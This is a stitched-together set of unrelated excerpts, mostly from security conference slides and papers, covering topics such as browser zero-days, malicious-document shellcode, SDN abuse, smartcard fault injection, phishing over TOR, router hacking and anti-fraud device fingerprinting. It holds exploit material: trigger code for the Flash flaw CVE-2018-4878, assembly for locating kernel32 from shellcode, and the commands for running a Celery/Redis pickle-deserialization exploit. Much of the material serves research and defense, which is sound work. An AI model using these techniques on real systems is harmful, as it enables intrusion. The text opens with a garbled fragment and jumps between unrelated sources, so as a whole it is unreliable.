Ticket ? UI User Interface K8S的重要认证几乎都依赖客户端证书机制三套CA证书与私钥是认证体系的


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Frevbhfyl? Ntnva? Ebg guvegrra? Whfg jung qb lbh gnxr zr sbe? QmFzZTY0PyBOb3cgeW91J3JlIGp1c3QgcmVhY2hpbmcuLi5UaGluZ3MgYX JlIG9ubHkgZXZlciBhcyBjb21wbGljYXRlZCBhcyB0aGV5IG5lZWQgdG8gYmU uICBCdXQgaWYgeW91IGdldCBzdHVjaywgd2hlbiB5b3UncmUgYmx1ZSwgd HJ5IHR1cm5pbmcgdXAgdGhlIGhlYXQuICBJdCB3aWxsIG1ha2UgeW91IHRo aW5rIHlvdSdyZSBvbiBhbiBpc2xhbmQsIGFuZCBoZXksIGF0IGxlYXN0IHRoZ W4geW91J2QgYmUgb24gYW4gaXNsYW5kLg==


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DEF CON 24 4 August Las Vegas, USA ME & VULNEX Simon Roses Femerling  Founder & CEO, VULNEX www.vulnex.com  @simonroses  Former Microsoft, PwC, @Stake  US DARPA award to research on software security  Speaker: Black Hat, RSA, HITB, OWASP, SOURCE, AppSec, DeepSec, TECHNET  Blog: http://www.simonroses.com/  Youtube: https://www.youtube.com/channel/UC8KUXxTSEdWfpFzAydjEzyQ  CyberSecurity Startup  @vulnexsl  Professional Services & Training  Products: BinSecSweeper (Unified File Security Analysis) VULNEX DISCLAIMER & LICENSE  All Tools and resources are property of Microsoft and their authors  Non-affiliated with Microsoft WORKSHOP OBJECTIVES  What has Microsoft to offer?  How to improve our security posture for free!  Development and IT Security AGENDA 1. Introduction 2. Secure Development 3. IT Security 4. Conclusions 1. DEVELOPERS VS SYSADMINS VS ALL 1. FATAL ERROR 1. DEFENSE IN DEPTH 1. MEMO FROM BILL GATES  https://news.microsoft.com/2012/01 /11/memo-from-bill- gates/#sm.001he6hz618bod7bz7k10 g0w76fr0 1. MICROSOFT SDL  The Security Development Lifecycle (SDL) is a software development process that helps developers build more secure software and address security compliance requirements while reducing development cost  https://www.microsoft.com/en- us/SDL 1. MICROSOFT SDL 1. SDL: TRAINING  SDL Practice #1: Core Security Training This practice is a prerequisite for implementing the SDL. Foundational concepts for building better software include secure design, threat modeling, secure coding, security testing, and best practices surrounding privacy 1. SDL: REQUIREMENTS  SDL Practice #2: Establish Security and Privacy Requirements Defining and integrating security and privacy requirements early helps make it easier to identify key milestones and deliverables and minimize disruptions to plans and schedules.  SDL Practice #3: Create Quality Gates/Bug Bars Defining minimum acceptable levels of security and privacy quality at the start helps a team understand risks associate


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2018年浏览器脚本引擎零日漏洞 Elliot Cao Trend Micro 2019-05-30 Whoami  入行之前是电气工程师  2017年加入趋势科技  沙箱开发人员  2018年开始研究浏览器漏洞  专注于浏览器脚本引擎  Lei Cao (@elli0tn0phacker) 目录  2018年的浏览器零日漏洞  VBSEmulator  Chakra 2018年的浏览器零日漏洞 2018年的浏览器零日漏洞  Flash: CVE-2018-4878 CVE-2018-15982  VBScript: CVE-2018-8174 CVE-2018-8373  JScript: CVE-2018-8653 2018年的Flash零日漏洞  CVE-2018-4878 var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } 2018年的Flash零日漏洞漏洞  CVE-2018-4878 创建一个对象 var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } 2018年的Flash零日漏洞漏洞  CVE-2018-4878 释放对象 2018年的Flash零日漏洞漏洞  CVE-2018-4878 重用释放内存触发GC获得一个悬挂指针 my_DRMListerner_vuln var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); thi


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DefCon 22, Las Vegas 2014 Abusing Software Defined Networks Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois gregory.pickett@hellfiresecurity.com Hellfire Security Overview What is it? Exploiting it! Fixing it! Moving Forward Wrapping Up Modern Day Networks Vendor Dependent Difficult to scale Complex and Prone to Break Distributed and Often Inconsistent Configuration Uses inflexible and difficult to innovate protocols Unable to Consider Other Factors  And Good Luck If You Want To Change It! Enter  Software Defined Networking Separate the Control and Data Plane Forwarding Decisions Made By a Controller Switches and Routers Just Forward Packets Controllers Programmed with the Intelligence Full visibility of the Network Can consider the totality of the network before making any decision Enforce Granular Policy Enter  Software Defined Networking Switches Bare-Metal Only Any Vendor  Hardware or Software Solves Lots of Problems Less Expensive Hardware With BGP Maintenance Dry-Out Customer Egress Selection Better BGP Security Faster Convergence Granular Peering at IXPs Expands Our Capability Real-World Network Slicing of Flow Space Network and Server Load Balancing Security Dynamic Access Control Adaptive Traffic Monitoring Attack Detection and Mitigation Emerging Standards Old and Busted SNMP BGP Netconf LISP PCEP New Hotness OVSDB Openflow Introducing Openflow Establishes Elements Controller Secure Channel Forwarding Element Defines  Forwarding Process Messaging Format Introducing Openflow Forwarding Process Check Flow Table If Match Found, Execute Action If No Match, Send Packet to controller Update Flow Table Flow Tables Match/Action Entries 12 fields available for matching Wildcard matching available Introducing Openflow Leading Platforms Proprietary Cisco Application Policy Infrastructure Controller (APIC) Cisco Extensible Network Controller (XNC) HP Virtual Application Networks (VAN) SDN Controller IBM Programmable Network Controller Open-Source Nox/Pox Ryu Floo


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# HappyCake Web, 15 points ## Description > Wish'em happy birthday! A link to a website was provided. ## Solution We visit the website and see a simple page with several birthday wishes, e.g.: ```html <div birthday=""> <p subtitle="">Happy cake, Nir!</p> <div info="" row=""> <p content="">06/12/2019</p> <a tag="" content="" href="scripts/page/?Nadav">@Nadav</a> </div> <p content="">Happy cake, <a tag="" content="" href="scripts/page/?Nir">@Nir</a>.</p> <p>We wish you the best of everything, including dogs and flags.</p> </div> ``` Clicking one of the '`@Name`' links brings us to the a profile page, e.g.: ```html <!DOCTYPE html> <!-- Copyright (c) 2019 Nadav Tasher https://github.com/NadavTasher/BaseTemplate/ --> <html lang="en"> <head> <meta charset="UTF-8"/> <meta name="description" content="Info about Nadav"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=5, user-scalable=yes, minimal-ui"/> <meta name="mobile-web-app-capable" content="yes"> <meta name="theme-color" content="#dae4ed"/> <meta name="apple-mobile-web-app-capable" content="yes"/> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"/> <meta name="apple-mobile-web-app-title" content="Happy Cake!"/> <title>@Nadav</title> <noscript></noscript> <style> /** * Copyright (c) 2019 Nadav Tasher * https://github.com/NadavTasher/BaseTemplate/ **/ /* ... Irrelevant style code, removed ... */ </style> <script> /** * Copyright (c) 2019 Nadav Tasher * https://github.com/NadavTasher/BaseTemplate/ **/ /* ... Irrelevant Javascript code, removed... */ </script> <script> </script> </head> <body column> <p style="font-size: 6vh">Developer pages</p> <p>Nadav's developer page</p><p>Full Web Stack, Android RE, Java, member of KAF</p> <a href="../../">Back home</a> </body> </html> <!-- OK --> ``` Searching for common web vulnerabilities, nothing immediate seems to reveal itself. The source code for the base template, which is linked to from the comments, doesn't seem


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Tim Hsu CHROOT.ORG PDF created with pdfFactory Pro trial version www.pdffactory.com 2008/7/25 2  HIT(Hacks In Taiwan)主辦人  網駭科技創辦人  資訊安全技術研究者同時也是 Linux 愛好者  專長於網路程式設計網路滲透測試駭客攻擊手法研究惡意程 式分析及嵌入式系統等  著作  Linux C 函式庫詳解辭典 (旗標)  The Wargame 駭客訓練基地 - 決戰台灣版(旗標) (與曾信田莊明 躍何弈甫等人合著) 2 PDF created with pdfFactory Pro trial version www.pdffactory.com  Malicious Document Introduction  How To Identify The Malicious Code In The Document  Static And Dynamic Analysis  To Identify Which Vulnerable  Demo PDF created with pdfFactory Pro trial version www.pdffactory.com  What Is Malicious Document?  Office Document/CHM/PDF  Other  RAR/ZIP/MDB/ PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode EXE/DLL Malicious Document EXE/DLL C:\Windows\System32\ PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode EXE/DLL Malicious Document C:\Windows\System32\ EXE/DLL DOC PDF created with pdfFactory Pro trial version www.pdffactory.com  Kernel32.DLL  Different Windows Version  Find kernel32.dll  PEB(Process Environment Block)  SEH(Structured Exception Handling)  TOPSTACK PDF created with pdfFactory Pro trial version www.pdffactory.com  PEB (Process Environment Block)  Every running process that can always be found at fs:[0x30] from within the process.  Works on: 95/98/ME/NT/2K/XP/2K3  mov eax, fs:[eax+0x30] PDF created with pdfFactory Pro trial version www.pdffactory.com  SEH(Structured Exception Handling)  Starts at local process address fs:0  Works on: 95/98/ME/NT/2K/XP/2K3  xor ecx, ecx  mov esi, fs:[ecx] PDF created with pdfFactory Pro trial version www.pdffactory.com  Uses Thread Environment Block (TEB) located at fs:0x18h as starting point  works on: NT/2K/XP/2K3  xor esi, esi  mov esi, fs:[esi + 0x18] PDF created with pdfFactory Pro trial version www.pdffactory.com  Anti-Virus Software  Signature  Typical opcode  PE/MZ Format œ MZ PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode Malicious Document EXE/DLL DECODER PDF created


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# T1590-006-收集目标组织网络信息-网络安全设备 ## 来自ATT&CK的描述 攻击者可能会事先收集攻击目标的网络安全设备信息网络安全设备的信息可能包括各种详细信息例如已部署的防火墙内容筛选器和代理/堡垒主机的存在和详细信息攻击者还可能针对地收集有关受害者的网络入侵检测系统NIDS或其他与防御性网络安全操作有关的设备的信息 攻击者可以通过不同的方式收集这些信息例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)网络安全设备信息也可能通过在线或其他可访问的数据集例如[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594)暴露给攻击者这些信息可能为如下活动提供可能性其他形式的侦察活动例如[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593))建立运营资源例如[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587) [获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)或实现初始访问例如[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133) ## 测试案例 红队必备WEB蜜罐识别阻断插件 <https://www.freebuf.com/articles/web/246938.html> 公开的采购信息等 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类活动的发生频率和误报率可能很高并且有可能发生在目标组织的可见性之外从而使防御者难以发现 检测工作可能集中在攻击者生命周期的相关阶段例如在首次访问期间 ## 关联TIP [[T1590-001-收集目标组织网络信息-域属性]] [[T1590-002-收集目标组织网络信息-DNS]] [[T1590-003-收集目标组织网络信息-网络信任关系]] [[T1590-004-收集目标组织网络信息-网络拓扑]] [[T1590-005-收集目标组织网络信息-IP地址]] ## 参考推荐 MITRE-ATT&CK-T1590-006 <https://attack.mitre.org/techniques/T1590/006/> 红队必备WEB蜜罐识别阻断插件 <https://www.freebuf.com/articles/web/246938.html>


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# Celery <4.0 Redis未授权访问+Pickle反序列化利用 Celery 是一个简单灵活且可靠的分布式系统用于处理大量消息同时为操作提供维护此类系统所需的工具它是一个专注于实时处理的任务队列同时也支持任务调度 在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递当所用队列服务比如RedisRabbitMQRocketMQ等等等存在未授权访问问题时可利用Pickle反序列化漏洞执行任意代码 ## 漏洞环境 执行如下命令启动Celery 3.1.23 + Redis ```bash docker compose up -d ``` ## 漏洞复现 漏洞利用脚本`exploit.py`仅支持在python3下使用 ```bash pip install redis python exploit.py [主机IP] ``` 查看结果 ``` docker compose logs celery ``` 可以看到如下任务消息报错 ![](a.png) ```bash docker compose exec celery ls -l /tmp ``` 可以看到成功创建了文件`celery_success` ![](b.png) ## 参考 https://docs.celeryproject.org/en/stable/userguide/configuration.html https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers https://www.jianshu.com/p/52552c075bc0 https://www.runoob.com/w3cnote/python-redis-intro.html https://blog.csdn.net/SKI_12/article/details/85015803


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August 8, 2008 Inducing Momentary Faults Within Secure Smartcards / Microcontrollers DEFCON  Las Vegas Christopher Tarnovsky Flylogic Engineering, LLC. chris@flylogic.net  http://www.flylogic.net August 8, 2008 What is a momentary fault?  Temporary forced change in behavior  The change is precisely calculated  A fault typically lasts no more than a few clock cycles  Many faults may be executed to force favorable behavior other than normal August 8, 2008 How do we do this?  Low-capacitance buffered driver  Driver is capable of driving a 1 or 0  Driver is capable of listening in Hi-Z  Low-voltage tolerant is a plus August 8, 2008 Why would we do this?  A series of changes can allow us too:  Overwrite stack-pointer  Force repeated loops in a code segment  Falsify cryptograms August 8, 2008 Inducing the fault  Physical connection to substrate  Use low-capacitance buffered driver  Tri-stated buffer is desired-  Allow eavesdropping  Overdrive at calculated point(s) in time August 8, 2008 Eavesdropping (listening) YELLOW: Databus signal GREEN: Clock PURPLE: Reset BLUE: Trigger August 8, 2008 Overdriving last slides databus with a logic 0 YELLOW: Databus signal GREEN: Clock PURPLE: Reset BLUE: Trigger August 8, 2008 Initial steps  Behavior analysis  Understand your objective (the goal)  Determine possible areas of attack  Areas such as:  Address bus  Data bus  Cryptographic blocks August 8, 2008 Address bus faults  Likely choice for cryptographic memories  Unlikely choice for microcontroller type devices  Allows complete change of data bus August 8, 2008 Data bus faults  Most probable choice of attack  Allows behavioral changes to many areas August 8, 2008 Cryptographic block faults  Limited use typically to Cryptographic Memory type devices  Can allow readout of write only keys August 8, 2008 Execution steps  Determine-  When to induce the fault  How long to induce the fault  Do we need more than one fault  Can we execute more faults on the same line  Execute the change of


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Cyber Grand Shellphish DEFCON 24 August 7, 2016  Track 2 - 3pm Giovanni Vigna Christopher Kruegel zanardi void HEX on the beach UC Santa Barbara nullptr zanardi void balzaroth sicko irish SIMULATION 2004 UC Santa Barbara nullptr zanardi void balzaroth sicko irish TU Vienna void engiman pizzaman SIMULATION 2005 virus weaver marco beetal Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish TU Vienna void nullptr engiman pizzaman odo adamd giullo voltaire bboe virus weaver marco beetal void pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b mw engiman nullptr SIMULATION 2006 - 2011 collin Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish virus weaver marco beetal void odo adamd giullo voltaire bboe pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mossberg crowell nezorg rhelmot jay vitor SIMULATION 2011 - 2014 mw collin Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi sicko irish virus weaver marco beetal mossberg crowell nezorg rhelmot jay vitor void odo giullo voltaire bboe balzaroth adamd gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION 2015 Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw irish weaver giullo voltaire virus sicko marco beetal vitor bboe collin pizzaman fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION Modern day Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon hacopo reyammer anton00b engiman nullptr mw pizzaman fish c


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APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there Michael Schrenk Las Vegas, Nevada @mgschrenk DEF CON XXIII DEF CON XXIII APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there IN ADDITION TO OTHER EXAMPLES Retail business my girlfriend & I own How we CREATE and APPLY intelligence APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there IN ADDITION TO OTHER EXAMPLES Retail business my girlfriend & I own How we CREATE and APPLY intelligence APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there You'll hear how we use competitive intelligence to: 1.) Conduct intelligence campaigns on a. Our competitors b. Our sales channels 2.) Know exactly what inventory to buy 3.) Manipulate markets APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there You'll hear how we use competitive intelligence to: 1.) Conduct intelligence campaigns on a. Our competitors b. Our sales channels 2.) Know exactly what inventory to buy 3.) Manipulate markets APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there You'll hear how we use competitive intelligence to: 1.) Conduct intelligence campaigns on a. Our competitors b. Our sales channels 2.) Know exactly what inventory to buy 3.) Manipulate markets APPLIED INTELLIGENCE: APPLIED INTELLIGENCE: Using information that isn't there Using information that isn't there You'll hear how we use competitive intelligence to: 1.) Conduct intelligence campaigns on a. Our competitors b. Our sales channels 2.) Know exactly what inventory to buy 3.) Manipulate markets APPLIED INTELLIGENCE: APPLIED INT


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Go默认编译会自带一堆信息通过这些信息基本可以还原Go的源码架构 本文就是研究如何消除或者混淆这些信息记录了这个研究过程如果不想看可以直接跳到文章末尾 文章末尾提供了一款工具可以一键消除Go二进制中的这些敏感信息 但还是推荐看看研究过程可以明白这个工具的运行原理 从逆向Go开始 先写一个简单的程序 我的go版本是 编译 它运行后会如下输出 go version go1.16.2 windows/amd64 package main import ( "fmt" "log" "math/rand" ) func main() { fmt.Println("hello world!") log.SetFlags(log.Lshortfile | log.LstdFlags) for i:=0;i<10;i++{ log.Println(rand.Intn(100)) } panic("11") } go build main.go 可以观察到程序日志打印时打印了文件名panic抛出错误的时候堆栈的文件名也抛出了可以想象Go 编译的二进制程序内部肯定有个数据结构存储了这些信息 用IDA打开这个二进制 能够看到函数符号的名称 查看PE的结构发现有个 symtab 区段 原来普通的使用 go build . 进行编译会连符号和调试信息一起编译到里面 重新使用命令编译 再次用IDA打开发现符号信息都不见了 再次运行程序却发现文件路径信息还是存在 go build -ldflags "-s -w" main.go 但是自己写的代码中根本没有这些字符啊只可能是go在编译的时候自己打包进去的 所以引出两个问题 Go为什么要打包这些信息 Go打包了哪些信息 Go为什么要打包这些信息 Go 二进制文件里打包进去了 runtime 和 GC 模块还有独特的 Type Reflection(类型反射) 和 Stack Trace 机制都需要用到这些信息 来自 Go二进制文件逆向分析从基础到进阶综述 - 安全客安全资讯平台 (anquanke.com) Go打包了哪些信息 Go Version Go BuildID GOROOT 函数名称和源码路径 struct 和 type 和 interface Go逆向方式 看 https://www.anquanke.com/post/id/214940 这篇文章就能知道通过解析Go二进制中这些内置的 数据结构就可以还原出符号信息 有安全研究员发现除了可以从 pclntab 结构中解析恢复函数符号Go 二进制文件中还有大量的 类型方法定义的信息也可以解析出来这样就可以大大方便对 Go 二进制文件中复杂数据结构 的逆向分析 基于这种方式已经有人写好了ida的脚本来恢复 https://github.com/0xjiayu/go_parser 仅支持到Go1.6Go1.6之后数据结构有略微的改动但是项目还没更新 https://github.com/renzhexigua/go_parser/tree/py3_1.16 支持到Go1.6的脚本 运行这些脚本就能还原一些符号信息了 redress和gore 前面的是基于IDA的脚本因为Go也内置了自己的数据结构用Go来解析Go更方便 goretk/redress: Redress - A tool for analyzing stripped Go binaries https://github.com/goretk/redress .\redress.exe -pkg -std -filepath -interface main.exe redress只是工具的前端如果看它代码的话会发现实际的解析代码在 https://github.com/goretk/gore 这款工具能从Go二进制中获取非常多的信息几乎可以用它来还原Go的源码结构这么神奇的工具 怎能不看看它是如何实现的呢 GoRE 代码学习 在GoRE中 PCLNTab 是直接使用内置的 debug/gosym 生成可用于获取源码路径和函数名称其他解 析数据结构的地方很枯燥有兴趣可以看@J!4Yu师傅的文章很全面的讲解了Go的数据结构 https://www.anquanke.com/post/id/214940 我就说说看得几个有意思的点 Go version 获取 go官方命令 go version 不仅可以获取自身的go版本信息如果后面跟一个Go文件路径 就能获得那 个文件的go的编译器信息 查看Go源代码看看是怎么实现的 src\cmd\go\internal\version\version.go Go官方是通过搜索这个魔术字符用IDA定位到这个地方可以看到这个魔术字符后面就跟着Go版本 信息的地址偏移


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MetaPhish PDF Infection, Web SpearPhishing, TOR abuse & communications http://www.attackresearch.com _____________________________________ Val Smith (valsmith@attackresearch.com) David Kerb (dkerb@attackresearch.com) Colin Ames (amesc@attackresearch.com) Page 1 of 26 Last modified: 06/27/2009 Contents 1 Introduction 1.1 Abstract ..2 1.2 Background ... 2 2 SpearPhishing 2.1 Spear Phishing Concepts ... 3 2.2 Web kits, File Formats & Problems with Available Attack Code..3 3 Defining the Needs 3.1 Work Flow ....4 4 Targeting 4.1 Targeting Basics ....5 4.2 File Targeting .. .5 4.3 Why PDF's .. .6 5 Web Spear Phishing 5.1 Work Flow....7 5.2 SE and Malicious Java Applets.....8 5.3 Automation ..... 10 6 Obfuscation 6.1 Simple Obfuscation Techniques .....12 7 TOR 7.1 Using TOR as a Weapon ....13 7.2 Controlling the Exit Location 7.3 Making Any Service go Through TOR .... 14 7.4 Running Nikto and Other Web Scanners Over TOR..17 7.5 Using VPN over TOR ....18 7.6 Metasploit and TOR....18 7.7 Making an Anonymous Reverse Shell Server....18 References.... 20 Acknolwedgements .... 20 Appendix.......21 Page 2 of 26 1 Chapter 1 Introduction 1.1 Abstract Attackers have been increasingly using the web and client side attacks in order to steal information from victims. The remote exploit paradigm is shifting from the open port to the browser and email client. Penetration testers need to take these techniques into account in order to provide realistic tests. In the past several years there have been numerous presentations on techniques for specific client side attacks and vulnerabilities. This talk will focus on building a phishing framework on top of Metasploit that pen testers can use to automate phishing and increase their overall capabilities. We will also cover some techniques for SpearPhishing on pen tests, second stage backdoors, and extensive communication over TOR. 1.2 Background The authors of this paper have been involved in security auditing and penetration testing for the la


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Gaming - The Next Overlooked Security Hole Ferdinand Schober Overview  Overview  Historical development  Know thy gamer  Know thy developer  Know thy engine  Profit?  Virtual Economies  Current malware  Games 2.0 & Privacy  Exercise in Exploits  The little nude patch that could  View my post and get owned  The ad from hell Clarifications  In the context of this talk:  Games = PC games  No video games (dont think about consoles!)  Dominant OS: Windows  Non-casual games  Hard-core games  Looking at the game client  Not genre-specific  No web-based games  Some issues are shared, but this is not the focus here  Limited view at online games  Think of your generic MMO (client yet again) Historical development Games (late 1990ies) Games (2008) Historical development Games (late 1990ies) Games (2008) Non-mainstream  Geeks play games  Estimated budget: 2-3M US$ 1-3 years  Self-publishing common, but declining Mass-market applications  GTA4 review in the NY Times?  Estimated budget: 15-20M US$ 2-3 years  ~3 major publishers provide funding  EA being biggest  Homogenization Historical development Games (late 1990ies) Games (2008) Custom graphics solutions  Most games still implement their own graphics engine  Only DirectX/OpenGL shared Full-featured engines  Limited group of engines (~3) used by most games, number is dropping  Includes physics, scripting, audio, AI  One exploit covers multiple games! Historical development Games (late 1990ies) Games (2008) Middleware is limited  In-game physics not really feasible yet (but getting there)  Mostly custom solutions Middleware is standard  Engines provide features, rest is done through middleware  Same as before! Historical development Games (late 1990ies) Games (2008) Physical media is king  CDs/DVDs are the distribution media Push for shared platforms that require online presence (Games 2.0)  Steam, GfW Live  Used for distribution and content protection  Platform also used for multiplayer  Automatic patching Historical developme


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Hacking travel routers like its 1999 Mikhail Sosonkin Director of R&D Always a Student @hexlogic mikhail@synack.com http://debugtrap.com Why do this? Breaking in. Show me the bugs! The End. We all just hack for fun right? I travel a lot I work in cafes I do security things Why do this? The unboxing We want bugs! The End Peeking a few extra bytes... HTTP/1.1 200 OK Server: vshttpd Cache-Control: no-cache Pragma: no-cache Expires: 0 Content-length: 8338 Content-type: text/html Set-cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE; Date: Sat, 24 Jun 2017 19:38:27 GMT two days* with john the ripper All this root, and no where to use it * on a reasonably priced EC2 instance If I could just...  The firmware update mechanism does not require a signed package.{  Expanded, the update package is just a shellscript "sed '1,3d' %s|cksum|cut -d' ' -f1"  Custom CGI server:  https://sourceforge.net/projects/vshttpd/ maybe? Its an empty project  Handles all *.csp REST Calls   Checks Firmware update  The firmware update mechanism does not require a signed package.{  Expanded, the update package is just a shellscript More details: http://debugtrap.com/2017/03/19/travel-safe/  I is C++ Buffers before function pointers Dynamic function calls Dynamic initialization/ allocation Variables before function pointers Lots of function pointers everywhere! Allocated structure Get function pointer Store the function pointer Repeat for another function Oops error leak! More details: http://debugtrap.com/2017/04/10/embedded-webserver/ Why do this? The unboxing We want bugs! The End Cybergold!  Present  Partial Virtual Space randomization  Binary and heap are fixed  Libraries and stack are randomized  Not present  Stack canaries  Full ASLR  Heap protections  Heap/Stack NX  Control flow integrity " + " More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/ Return address on the stack Stack pointer! Restrictions with sprintf(<%s>) :  No nulls  output buffer follows <%s> format Return


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对抗实践 目录 01 终端风控的对抗体系 02 设备指纹的对抗之道 03 设备指纹的对抗实践 04 合规挑战的适应应对 01终端风控 对抗体系 设备 指纹 智能 验证 生物探针 行为 分析 应用 加固 安全管控 终端风控态势感知系统 机器学习平台 反欺诈模型 01终端风控 风险对抗 设备 指纹 智能 验证 生物探针 行为 分析 应用 加固 安全管控 唯一 标识 模拟 器 设备 篡改 设备 伪造 群控 识别 人机 识别 本人 识别 人机 验证 机刷 对抗 黑产 工具 刷机 抹机 联防 联控 异常 行为 风险 行为 敏感 权限 隐私 数据 网络 行为 动态 加载 应用 保护 文件 保护 代码 保护 文件 操作 合规 检测 数据 加密 反调 试 数据 盗爬 hook 攻击 02设备指纹 技术原理 场景 JS SDK Android iOS SDK 浏览器类型 版本 设备型号设备名称 操作系统类型 版本 系统版本运营商内网IP 屏幕分辨率 CPU内存存储大小 canvas指纹 开机时间电量屏幕亮度 浏览器插件 模拟器等系统运行环境信息 网络环境信息 各种传感器信息 协议指纹 SSL协议指纹TCP/IP协议栈等信息 02设备指纹 技术原理 特征A 特征B 特征C 特征D 1 .组合特征 A+B+C+D 3.建 立映 射 设备精准 唯一ID 存 储 随机 算法 4.映射关系持久化 2.生成设备ID 生成 特征A 特征B 特征C 特征D 1 .组合特征 A+B+C+D 存 储 2.查找映射对应的ID 3.返回对应的device ID 还原 02设备指纹 风险画像构建 实际对抗中设备指纹技术及模型算法需有效识别出模 拟器作弊工具云模拟器改机二次打包Ap p 位 置伪造等上百种设备风险业务风控平台可选用相关标 签进行风控策略配置来有效识别并阻断恶意用户 03对抗实践 黑灰产常用的手段 B 注入攻击 hook D 群控/自动化工具 automation F 刷机/恢复出厂设置 recovery A C 应用重打包 repacking app E 多开 multiopen 模拟器/云模拟器 emulator 03对抗实践 改机作弊框架HOOK 对抗实践中可以采用通用特征识别结合特定 特征识别的方式来有效识别各类已知未 知改机作弊框架和工具对于某些隐藏特征 的高级作弊工具也可以做到精确识别 03对抗实践 模拟器云控位置伪造 实际对抗中设备指纹需具备系统特征识别协议指纹识别和C PU指令探测等通用的模 拟器识别算法来有效识别各类已知和未知的终端模拟器云模拟器 常见品牌模拟器如夜神雷电Mumu逍遥andyroid 云模拟器红手指海马云 Anbox/虚拟大师/blissOS 03对抗实践 群控设备农场 示例 群控监测 设备指纹检测特定作弊工具 操作状态输入速度传感器状态 策略 & 无监督聚类 03对抗实践 M1芯片终端 M1之于业务的挑战 真机运行ipa 风控之于M1的对抗 识别M1真机M1模拟器 02对抗实践 其他典型对抗 多开/分身区分软件多开和系统多开 备份恢复/抹机恢复相似度算法+黑科技 定制rom检测检测到黑产ROM会有特殊规则输出风险标签 刷机检测设备疑似刚刷过机典型特征应用数量少开机时间短存储空间利用率极低等 逆向对抗数据结构加固vmp保护js动态更新ast混淆 03对抗实践 典型有意思的业务思考 非本机恢复的思考 任意两部相同型号相同系统版本的设备通过备份克隆APP生成不同的设备指纹 逻辑上需要生成两个ID有些业务想生成相同ID业务上可以结合用户设备的一些字段比如特别是设备名称网 络已占用的存储之类的 是可以配合来确认是否是同一个用户 网络信息异常 网络参数不合逻辑如网络类型为Wi-Fi但Wi-Fi为未连接状态Wi-Fi基站IPVPN IP相同 改机检测与虚假设备 改机检测有可能没有实际发生参数篡改虚假设备是发生篡改后的 03对抗实践 典型的终端风控模块 生物探针 智能验证 行为分析 安全管控 应用加固 安全清场 是不是本人 是不是真人 传感器数据 按压力度数据 操作链路数据 行为轨迹数据 设备维度数据 其他非敏感数据 加速度传感数据 陀螺仪传感数据 磁场传感器数据 滑动行为数据 按压力度数据 设备纬度数据 传感器特征模型 传感器时序模型 行为习惯模型 行为特征模型 生物探针技术 